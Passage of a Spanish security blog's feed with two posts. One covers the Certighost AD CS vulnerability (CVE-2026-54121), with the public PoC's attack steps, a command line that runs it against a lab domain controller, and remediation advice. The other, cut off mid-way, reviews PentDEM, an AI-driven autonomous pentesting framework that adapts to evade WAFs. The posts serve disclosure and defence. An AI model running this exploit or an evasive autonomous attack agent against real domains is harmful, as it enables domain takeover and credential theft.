<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-9133539773684103848</id><updated>2026-08-03T20:01:37.709+02:00</updated><category term="herramientas"/><category term="vulnerabilidades"/><category term="técnicas"/><category term="malware"/><category term="noticias"/><category term="Windows"/><category term="red team"/><category term="linux"/><category term="amenazas"/><category term="redes"/><category term="python"/><category term="recopilatorios"/><category term="videos"/><category term="tutoriales"/><category term="curiosidades"/><category term="retos"/><category term="código abierto"/><category term="eventos"/><category term="exploits"/><category term="pentest"/><category term="android"/><category term="recursos"/><category term="seguridad web"/><category term="hardware"/><category term="fortificación"/><category term="hacktivismo"/><category term="metasploit"/><category term="forense"/><category term="cifrado"/><category term="ingeniería inversa"/><category term="powershell"/><category term="0 day"/><category term="recomendaciones"/><category term="privacidad"/><category term="anonimato"/><category term="contramedidas"/><category term="magazines"/><category term="programación"/><category term="antivirus"/><category term="cracking"/><category term="writeups"/><category term="esteganografía"/><category term="libros"/><category term="post-explotación"/><category term="escalado de privilegios"/><category term="gadgets"/><category term="ransomware"/><category term="dos"/><category term="formación"/><category term="apple"/><category term="leak"/><category term="h-c0n"/><category term="backdoor"/><category term="raspberry pi"/><category term="series"/><category term="humor"/><category term="Go"/><category term="bypass"/><category term="hacking"/><category term="utilidades"/><category term="Internet de las cosas"/><category term="ctf"/><category term="pwned"/><category term="contraseñas"/><category term="exploiting"/><category term="poc"/><category term="tor"/><category term="C#"/><category term="IA"/><category term="criptografia"/><category term="firewalls"/><category term="maldev"/><category term="OSCP"/><category term="concursos"/><category term="encuestas"/><category term="exfiltración de datos"/><category term="hackthebox"/><category term="reversing"/><category term="C"/><category term="blue team"/><category term="ciberguerra"/><category term="phishing"/><category term="wi-fi"/><category term="bug bounty"/><category term="contribuciones"/><category term="edr"/><category term="infografías"/><category term="DA"/><category term="c2"/><category term="Deep Web"/><category term="Directorio Activo"/><category term="docker"/><category term="honeypots"/><category term="inteligencia artificial"/><category term="relatos"/><category term="AI"/><category term="certificaciones"/><category term="evasion"/><category term="inyecciones SQL"/><category term="lock picking"/><category term="threat hunting"/><category term="vpn"/><category term="IoT"/><category term="WhatsApp"/><category term="bash"/><category term="bof"/><category term="defaces"/><category term="drones"/><category term="laboratorio"/><category term="metadatos"/><category term="ruby"/><category term="threat intelligence"/><category term="trucos"/><category term="virtualización"/><category term="wireless"/><category term="conferencia"/><category term="labs"/><category term="php"/><category term="pivoting"/><category term="reverse shell"/><category term="rootkits"/><category term=".NET"/><category term="ICS"/><category term="LLM"/><category term="SCADA"/><category term="boot2root"/><category term="entrevistas"/><category term="fuerza bruta"/><category term="ingenieria social"/><category term="legislación"/><category term="metodologías"/><category term="reconocimiento"/><category term="seguridad gestionada"/><category term="webshells"/><category term="APT"/><category term="base de datos"/><category term="censura"/><category term="dns"/><category term="espionaje"/><category term="java"/><category term="off-topic"/><category term="rust"/><category term="xss"/><category term="anonymous"/><category term="bitcoins"/><category term="captchas"/><category term="ciberseguridad"/><category term="cloud"/><category term="keyloggers"/><category term="persistencia"/><category term="taller"/><category term="NFC"/><category term="Twitter"/><category term="botnet"/><category term="cibercrimen"/><category term="ciberinteligencia"/><category term="comunicaciones"/><category term="credenciales"/><category term="dark web"/><category term="empire"/><category term="flash"/><category term="geolocalización"/><category term="investigaciones"/><category term="ipv6"/><category term="javascript"/><category term="juegos"/><category term="normativas"/><category term="payloads"/><category term="radio"/><category term="shodan"/><category term="waf"/><category term="ROP"/><category term="bloodhound"/><category term="c++"/><category term="crowdfunding"/><category term="código fuente"/><category term="dfir"/><category term="movilidad"/><category term="móvil"/><category term="nodejs"/><category term="ofuscadas"/><category term="opinión"/><category term="películas"/><category term="rce"/><category term="wikileaks"/><category term="OT"/><category term="análisis"/><category term="arduino"/><category term="charlas"/><category term="cheatsheets"/><category term="ciberseguridad industrial"/><category term="enumeración"/><category term="explotación"/><category term="foca"/><category term="hoax"/><category term="jailbreak"/><category term="latch"/><category term="osint"/><category term="papers"/><category term="perl"/><category term="proxmox"/><category term="serialización"/><category term="sistemas operativos"/><category term="software libre"/><category term="telegram"/><category term="wordpress"/><category term="Applocker"/><category term="CLR"/><category term="COR"/><category term="Defcon"/><category term="FUD"/><category term="LFI"/><category term="Onion"/><category term="Profiler"/><category term="ansible"/><category term="backup"/><category term="badusb"/><category term="bancos"/><category term="bios"/><category term="bluetooth"/><category term="boot"/><category term="comunidad"/><category term="condición de carrera"/><category term="contenedores"/><category term="crypters"/><category term="crystal"/><category term="ddos"/><category term="deepfake"/><category term="documentales"/><category term="domótica"/><category term="drupal"/><category term="electrónica"/><category term="excel"/><category term="fuzzing"/><category term="git"/><category term="hardware hacking"/><category term="hashes"/><category term="ids"/><category term="lua"/><category term="maldoc"/><category term="maps"/><category term="misc"/><category term="navegador"/><category term="podcast"/><category term="promociones"/><category term="redes neuronales"/><category term="responsible disclosure"/><category term="retro"/><category term="robótica"/><category term="seguridad física"/><category term="shellcode"/><category term="ssh"/><category term="trabajo"/><category term="trivial"/><category term="voip"/><category term="vulnhub"/><category term="wifi"/><category term="AWS"/><category term="AiTM"/><category term="AutoIt"/><category term="Azure"/><category term="COM"/><category term="CyberChef"/><category term="DIY"/><category term="DLP"/><category term="DORA"/><category term="Defender"/><category term="ESMA"/><category term="Exchange"/><category term="Internet"/><category term="LPE"/><category term="MCP"/><category term="MITRE"/><category term="MOOC"/><category term="RFP"/><category term="RTS"/><category term="SEO"/><category term="SIEM"/><category term="SSL"/><category term="Stuxnet"/><category term="TLPT"/><category term="TTPs"/><category term="TTS"/><category term="WMI"/><category term="Xen"/><category term="academy"/><category term="agente"/><category term="asm"/><category term="badges"/><category term="bilingual-post"/><category term="biohacking"/><category term="bitlocker"/><category term="blockchain"/><category term="bootkit"/><category term="brainfuck"/><category term="brechas"/><category term="bullying"/><category term="burp"/><category term="call for papers"/><category term="canape"/><category term="car hacking"/><category term="ciberejercicios"/><category term="ciencia"/><category term="clonación de voz"/><category term="cobaltstrike"/><category term="comparativa"/><category term="comunicacion"/><category term="concienciación"/><category term="control parental"/><category term="covert channel"/><category term="cripto"/><category term="cyberpunk"/><category term="cyberwar"/><category term="delphi"/><category term="detección"/><category term="devops"/><category term="dorks"/><category term="downgrade"/><category term="dpi"/><category term="e-zines"/><category term="embodied AI"/><category term="empleo"/><category term="ensamblador"/><category term="entraID"/><category term="expresiones regulares"/><category term="firebase"/><category term="firmware"/><category term="foro"/><category term="frameworks"/><category term="fraude"/><category term="frikismo"/><category term="gamers"/><category term="geek"/><category term="geopolítica"/><category term="harness"/><category term="hibrido"/><category term="hijacking"/><category term="htb"/><category term="huevos de pascua"/><category term="iOS"/><category term="impresión 3d"/><category term="incident response"/><category term="infraestructuras críticas"/><category term="internals"/><category term="iocs"/><category term="ironpython"/><category term="joomla"/><category term="lolbins"/><category term="machine learning"/><category term="memory corruption"/><category term="militar"/><category term="newbie"/><category term="nim"/><category term="old but gold"/><category term="opsec"/><category term="p2p"/><category term="pederastia"/><category term="perifericos"/><category term="pki"/><category term="prank"/><category term="prompts"/><category term="purple team"/><category term="rat"/><category term="redteam"/><category term="regalos"/><category term="relay"/><category term="revisión de código"/><category term="rfid"/><category term="riesgos"/><category term="routers"/><category term="rsa"/><category term="sap"/><category term="satelites"/><category term="satélites"/><category term="script"/><category term="sexting"/><category term="shell"/><category term="simuladores"/><category term="sinkholing"/><category term="solar"/><category term="spam"/><category term="ss7"/><category term="supercomputación"/><category term="supply chain attack"/><category term="tendencias"/><category term="terraform"/><category term="threat actor"/><category term="tracking"/><category term="uac"/><category term="uefi"/><category term="underground"/><category term="unix"/><category term="use-after-free"/><category term="uxss"/><category term="vagrant"/><category term="vba"/><category term="videojuegos"/><category term="vigenere"/><category term="volatility"/><category term="vídeos"/><category term="xbox"/><category term="xxe"/><category term="yara"/><title type='text'>~#hackplayers</title><subtitle type='html'>Computer security, ethical hacking and more!</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='https://www.hackplayers.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default?max-results=10'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default?start-index=11&amp;max-results=10'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>2520</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>10</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-4011047672103537668</id><published>2026-07-26T23:52:52.075+02:00</published><updated>2026-07-26T23:52:52.075+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Directorio Activo"/><category scheme="http://www.blogger.com/atom/ns#" term="red team"/><category scheme="http://www.blogger.com/atom/ns#" term="técnicas"/><category scheme="http://www.blogger.com/atom/ns#" term="Windows"/><title type='text'>Certighost: cuando un usuario de dominio puede acabar obteniendo un certificado de un Domain Controller (CVE-2026-54121)</title><content type='html'>&lt;p&gt;Si durante los últimos años ha habido una tecnología de Active Directory que ha pasado de ser la gran olvidada a convertirse en uno de los objetivos favoritos de Red Teams y atacantes reales, esa es &lt;strong&gt;Active Directory Certificate Services (AD CS)&lt;/strong&gt;. Desde la publicación de &lt;em&gt;&lt;a href=&quot;https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf&quot; target=&quot;_blank&quot;&gt;Certified Pre-Owned&lt;/a&gt;&lt;/em&gt;, la comunidad descubrió que una PKI mal configurada podía ser incluso más peligrosa que un Kerberoasting o un abuso de delegaciones.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Ahora llega una nueva vulnerabilidad bautizada como &lt;strong&gt;Certighost (CVE-2026-54121)&lt;/strong&gt;, una elevación de privilegios que afecta a &lt;strong&gt;Microsoft Active Directory Certificate Services&lt;/strong&gt; y que, según Microsoft, permite que un usuario autenticado eleve privilegios a través de la red debido a un problema de autorización. La vulnerabilidad ha recibido una puntuación &lt;strong&gt;CVSS 8.8&lt;/strong&gt; y ya dispone de un Proof of Concept público.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTSwfoFTfPGPZ9X-Qfv1QtZQFRYhsN45k-Z76_NnaRXhTU7lHY8lNdy5vQ4RqXX6uPOut28azv1ZL4QFIvP9cq8JD9_CI3ITytbcrYYgwlTL6J_R7c2KRGpQ4Jtgmsh4DkMxeL7pwqDYqtyrp_3RbY4s3t0f1bSxiVJ4Nl6Acgf_rNBhYuQy3iI2fW9zJi/s1536/certighost.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; height=&quot;426&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTSwfoFTfPGPZ9X-Qfv1QtZQFRYhsN45k-Z76_NnaRXhTU7lHY8lNdy5vQ4RqXX6uPOut28azv1ZL4QFIvP9cq8JD9_CI3ITytbcrYYgwlTL6J_R7c2KRGpQ4Jtgmsh4DkMxeL7pwqDYqtyrp_3RbY4s3t0f1bSxiVJ4Nl6Acgf_rNBhYuQy3iI2fW9zJi/w640-h426/certighost.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Lo interesante de Certighost no es únicamente la vulnerabilidad, sino el objetivo final. Mientras muchos ataques contra AD CS buscan obtener un certificado válido para un usuario privilegiado, este fallo permite llegar mucho más lejos: conseguir un certificado que representa al propio &lt;strong&gt;Domain Controller&lt;/strong&gt;.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Y cualquiera que haya trabajado con autenticación basada en certificados sabe lo que significa disponer de una identidad de máquina de un DC dentro del bosque.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;No estamos hablando simplemente de escalar privilegios a Domain Admin, sino de obtener una identidad que participa directamente en numerosos mecanismos de autenticación de Active Directory.&lt;/p&gt;&lt;h2&gt;La PoC&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Apenas unas horas después de hacerse pública la vulnerabilidad apareció el repositorio de &lt;strong&gt;&lt;a href=&quot;https://github.com/aniqfakhrul/cve-2026-54121&quot; target=&quot;_blank&quot;&gt;aniqfakhrul&lt;/a&gt;&lt;/strong&gt;, que implementa un script en python para una prueba de concepto:&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot; style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;Crea una nueva cuenta de equipo (p. ej., GHOSTABCDEFGH$) o reutiliza una existente proporcionada mediante --computer-name.&lt;/li&gt;&lt;li&gt;Inicia dos listeners falsos: un servidor SMB/LSA en el puerto 445 y un servidor LDAP en el puerto 389.&lt;/li&gt;&lt;li&gt;Envía una solicitud de certificado como esa cuenta de equipo, incluyendo un atributo cdc personalizado que apunte a una IP controlada (mediante --listener; opcional, se detecta automáticamente si se omite) y un atributo rmd con el nombre DNS del controlador de dominio (DC) de destino.&lt;/li&gt;&lt;li&gt;La CA se conecta a los listeners LSA/LDAP no autorizados. Estos se autentican como la cuenta creada (validada a través del DC real mediante Netlogon) y responden a las consultas de la CA con la identidad del DC de destino (sAMAccountName, SID, dNSHostName).&lt;/li&gt;&lt;li&gt;La ​​CA emite un certificado válido perteneciente al DC.&lt;/li&gt;&lt;li&gt;El script también ejecuta PKINIT con el archivo pfx del DC para solicitar .ccache y el hash NT.ç&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;highlight highlight-source-shell notranslate position-relative overflow-auto&quot; dir=&quot;auto&quot; style=&quot;background-color: #f6f8fa; box-sizing: border-box; color: #1f2328; display: flex; font-family: &amp;quot;Mona Sans VF&amp;quot;, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 16px; justify-content: space-between; margin-bottom: 16px; overflow: auto !important; position: relative !important;&quot;&gt;&lt;pre style=&quot;border-radius: 6px; box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace; font-size: 13.6px; line-height: 1.45; margin-bottom: 0px; margin-top: 0px; min-height: 52px; overflow-wrap: normal; overflow: auto; padding: 16px; tab-size: 4; word-break: normal;&quot;&gt;sudo python3 certighost.py -d playground.local -u lowpriv -p &lt;span class=&quot;pl-s&quot; style=&quot;box-sizing: border-box; color: #0a3069;&quot;&gt;&lt;span class=&quot;pl-pds&quot; style=&quot;box-sizing: border-box;&quot;&gt;&#39;&lt;/span&gt;Password1234&lt;span class=&quot;pl-pds&quot; style=&quot;box-sizing: border-box;&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt; --dc-ip 192.168.1.10&lt;/pre&gt;&lt;div class=&quot;zeroclipboard-container&quot; style=&quot;animation: auto ease 0s 1 normal none running none; box-sizing: border-box;&quot;&gt;&lt;clipboard-copy aria-label=&quot;Copy code to clipboard&quot; class=&quot;ClipboardButton btn btn-invisible js-clipboard-copy m-2 p-0 d-flex flex-justify-center flex-items-center&quot; data-copy-feedback=&quot;Copied!&quot; data-tooltip-direction=&quot;w&quot; role=&quot;button&quot; style=&quot;align-items: center !important; appearance: none; background-color: rgba(0, 0, 0, 0); border-radius: 6px; border: 0px; box-shadow: none; box-sizing: border-box; color: #0969da; cursor: pointer; display: flex !important; font-size: 14px; height: 28px; justify-content: center !important; line-height: 20px; margin: 8px !important; padding: 0px !important; position: relative; text-wrap-mode: nowrap; transition: color 80ms cubic-bezier(0.33, 1, 0.68, 1), background-color 80ms cubic-bezier(0.33, 1, 0.68, 1), box-shadow 80ms cubic-bezier(0.33, 1, 0.68, 1), border-color 80ms cubic-bezier(0.33, 1, 0.68, 1); user-select: none; vertical-align: middle; width: 28px;&quot; tabindex=&quot;0&quot; value=&quot;sudo python3 certighost.py -d playground.local -u lowpriv -p &#39;Password1234&#39; --dc-ip 192.168.1.10&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; class=&quot;octicon octicon-copy js-clipboard-copy-icon&quot; data-component=&quot;Octicon&quot; data-view-component=&quot;true&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewbox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;/svg&gt;&lt;/clipboard-copy&gt;&lt;/div&gt;&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La ejecución correcta escribe el certificado de destino (.pfx) y la caché de Kerberos (.ccache) en el directorio actual.&lt;/p&gt;&lt;h2&gt;¿Qué debemos revisar?&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Aunque Microsoft ya ha publicado actualizaciones para los sistemas afectados, parchear únicamente no debería ser la única medida.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Una revisión seria debería incluir, como mínimo:&lt;/p&gt;&lt;ul data-spread=&quot;false&quot;&gt;&lt;li&gt;Inventario completo de todas las Enterprise CA.&lt;/li&gt;&lt;li&gt;Revisión de plantillas de certificados.&lt;/li&gt;&lt;li&gt;Permisos de inscripción (Enroll y AutoEnroll).&lt;/li&gt;&lt;li&gt;Mapeo de autenticación mediante certificados.&lt;/li&gt;&lt;li&gt;Auditoría de eventos relacionados con solicitudes de certificados.&lt;/li&gt;&lt;li&gt;Revisión de configuraciones heredadas que permanezcan desde migraciones antiguas.&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En muchas organizaciones descubriréis que la PKI lleva años funcionando sin que nadie haya vuelto a revisarla desde su instalación inicial.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Referencias&lt;/b&gt;&lt;/h2&gt;&lt;ul data-spread=&quot;false&quot;&gt;&lt;li style=&quot;box-sizing: border-box;&quot;&gt;&lt;a href=&quot;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121&quot; rel=&quot;nofollow&quot; style=&quot;box-sizing: border-box; color: #0969da; text-underline-offset: 0.2rem;&quot;&gt;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121&lt;/a&gt;&lt;/li&gt;&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;&lt;a href=&quot;https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26&quot; style=&quot;box-sizing: border-box; color: #0969da; text-underline-offset: 0.2rem;&quot;&gt;https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26&lt;/a&gt;&lt;/li&gt;&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;&lt;a href=&quot;https://github.com/ly4k/Certipy&quot; style=&quot;box-sizing: border-box; color: #0969da; text-underline-offset: 0.2rem;&quot;&gt;https://github.com/ly4k/Certipy&lt;/a&gt;&lt;/li&gt;&lt;li&gt;PoC &quot;Certighost&quot; de aniqfakhrul. &lt;a href=&quot;https://github.com/aniqfakhrul/cve-2026-54121?utm_source=chatgpt.com&quot;&gt;Repositorio GitHub&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/4011047672103537668/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/07/certighost-cuando-un-usuario-de-dominio.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/4011047672103537668'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/4011047672103537668'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/07/certighost-cuando-un-usuario-de-dominio.html' title='Certighost: cuando un usuario de dominio puede acabar obteniendo un certificado de un Domain Controller (CVE-2026-54121)'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTSwfoFTfPGPZ9X-Qfv1QtZQFRYhsN45k-Z76_NnaRXhTU7lHY8lNdy5vQ4RqXX6uPOut28azv1ZL4QFIvP9cq8JD9_CI3ITytbcrYYgwlTL6J_R7c2KRGpQ4Jtgmsh4DkMxeL7pwqDYqtyrp_3RbY4s3t0f1bSxiVJ4Nl6Acgf_rNBhYuQy3iI2fW9zJi/s72-w640-h426-c/certighost.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-3177721130860239669</id><published>2026-07-21T00:34:10.780+02:00</published><updated>2026-07-21T00:35:15.430+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="AI"/><category scheme="http://www.blogger.com/atom/ns#" term="harness"/><category scheme="http://www.blogger.com/atom/ns#" term="herramientas"/><category scheme="http://www.blogger.com/atom/ns#" term="pentest"/><title type='text'>PentDEM: cuando los frameworks de pentesting empiezan a pensar</title><content type='html'>&lt;p style=&quot;text-align: left;&quot;&gt;Durante años, la automatización ofensiva ha consistido, en esencia, en encadenar herramientas: descubrir activos, enumerar servicios, ejecutar escáneres y generar un informe. Aunque este enfoque ha demostrado ser eficaz, sigue dependiendo de pipelines rígidos donde cada fase se ejecuta de forma secuencial y con escasa capacidad de adaptación. PentDEM, como algunos otros arneses que están apareciendo últimamente, propone una visión diferente. En lugar de centrarse en automatizar herramientas, intenta automatizar el &lt;strong&gt;proceso de razonamiento del pentester&lt;/strong&gt;, situando un motor de decisión basado en IA por encima de los módulos ofensivos tradicionales.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: right;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx7ZdMZvLvm2d_YXZtxI1A43vG0XURbBdm-9DckCMjv33HuMvv_7pWbX6qI0sU12hjeKAJTWvbJ6x6m_wRl18Mw1SKrGhuABe2QqshxXgSv_AJHk1Jjs_L_XcUV8xpAWfowACo5zGeU06DjvBIiIt6j4oBboe5V7Jk958CN3ZLv4AY_SBX3L_AjGyWD2rQ/s511/oodaloop.png&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: left;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;507&quot; data-original-width=&quot;511&quot; height=&quot;198&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx7ZdMZvLvm2d_YXZtxI1A43vG0XURbBdm-9DckCMjv33HuMvv_7pWbX6qI0sU12hjeKAJTWvbJ6x6m_wRl18Mw1SKrGhuABe2QqshxXgSv_AJHk1Jjs_L_XcUV8xpAWfowACo5zGeU06DjvBIiIt6j4oBboe5V7Jk958CN3ZLv4AY_SBX3L_AjGyWD2rQ/w200-h198/oodaloop.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;span style=&quot;text-align: left;&quot;&gt;&lt;div style=&quot;text-align: left;&quot;&gt;Su arquitectura gira en torno a un ciclo continuo inspirado en el modelo &lt;strong&gt;OODA (Observe–Orient–Decide–Act)&lt;/strong&gt;. Cada hallazgo modifica el contexto de ejecución, genera nuevas hipótesis y replanifica automáticamente los siguientes pasos. El reconocimiento deja de ser una fase inicial para convertirse en un proceso permanente que evoluciona durante toda la auditoría. En este modelo, el conocimiento se construye progresivamente y la estrategia ofensiva se adapta en tiempo real conforme aparecen nuevos activos, tecnologías, credenciales o vectores de ataque.&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot; style=&quot;text-align: left;&quot;&gt;Uno de los aspectos más interesantes del proyecto es la coexistencia de dos motores de ejecución. Por un lado, un &lt;strong&gt;Pipeline Engine&lt;/strong&gt; ofrece un flujo determinista y reproducible, ideal para auditorías repetibles y entornos CI/CD. Por otro, el &lt;strong&gt;Autonomous Agent&lt;/strong&gt; abandona el pipeline clásico para tomar decisiones dinámicas mediante un &lt;strong&gt;AI Decision Engine&lt;/strong&gt;, que prioriza acciones, selecciona herramientas y genera hipótesis a partir del contexto acumulado. Esta separación permite combinar estabilidad con razonamiento adaptativo, una decisión arquitectónica especialmente acertada.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot; style=&quot;text-align: left;&quot;&gt;PentDEM introduce además una abstracción denominada &lt;strong&gt;Skills&lt;/strong&gt;, que desacopla completamente las capacidades ofensivas de las herramientas concretas. El agente no decide ejecutar una utilidad específica, sino realizar una acción como &quot;analizar un JWT&quot;, &quot;enumerar GraphQL&quot; o &quot;buscar secretos en JavaScript&quot;. Esto permite sustituir o ampliar herramientas sin modificar el motor de planificación, convirtiendo la plataforma en un sistema altamente extensible.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El framework integra más de una treintena de herramientas y cubre un amplio abanico de dominios ofensivos: reconocimiento web, fingerprinting, análisis de JavaScript, APIs REST y GraphQL, OAuth, JWT, SSRF, XXE, SSTI, SQL Injection, XSS, Mass Assignment, Race Conditions, Cloud Metadata o bypass de WAF, entre otros. Sin embargo, su verdadero valor no reside en el número de utilidades integradas, sino en la capacidad para correlacionar sus resultados y construir automáticamente &lt;strong&gt;Kill Chains&lt;/strong&gt; que enlazan hallazgos aparentemente independientes hasta formar rutas completas de compromiso.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Otro componente especialmente relevante es el &lt;strong&gt;Memory Engine&lt;/strong&gt;, encargado de conservar conocimiento entre ejecuciones. En lugar de limitarse a almacenar resultados, mantiene información episódica, semántica y operacional sobre tecnologías, relaciones entre activos, credenciales, patrones de infraestructura y ataques previos. Esta memoria convierte cada auditoría en una fuente de conocimiento reutilizable y aproxima el comportamiento del sistema al de un agente cognitivo con experiencia acumulada.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La incorporación de un &lt;strong&gt;Quality Gate&lt;/strong&gt; constituye otra de las decisiones más acertadas del diseño. Antes de que un hallazgo influya en el razonamiento del agente, pasa por un proceso de validación, correlación y puntuación que reduce la propagación de falsos positivos. En un sistema donde cada decisión condiciona las siguientes, evitar que una hipótesis errónea contamine toda la cadena de razonamiento resulta fundamental.&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;PentDEM también demuestra una preocupación poco habitual por el &lt;strong&gt;Operational Security (OPSEC)&lt;/strong&gt;. El framework adapta su comportamiento cuando detecta WAF, mecanismos de rate limiting, CDN o protecciones cloud, modificando la velocidad, el orden y la intensidad de las pruebas para reducir su huella. Aunque todavía existe margen de mejora en este ámbito, supone un paso importante frente a otros agentes autónomos que priorizan la cobertura frente a la discreción.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4ZExrCQw3cowEBfolYZv59DPdcphtE5ZoBKof_AHXtbt6HTfjcRWilYPfXy8BvLMPrYGQbXvHrebBHVielw-4-24ahFXJG9dAAfHsLZKwQBPm3N8n3uW71umYmxcMYYN2pyX4tIgoSFT1QWfowNUxNNp2HhSFbqMw5d22bE7i7fRECkIZKPuiP8h3euhz/s1536/pentdem_componentes.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; 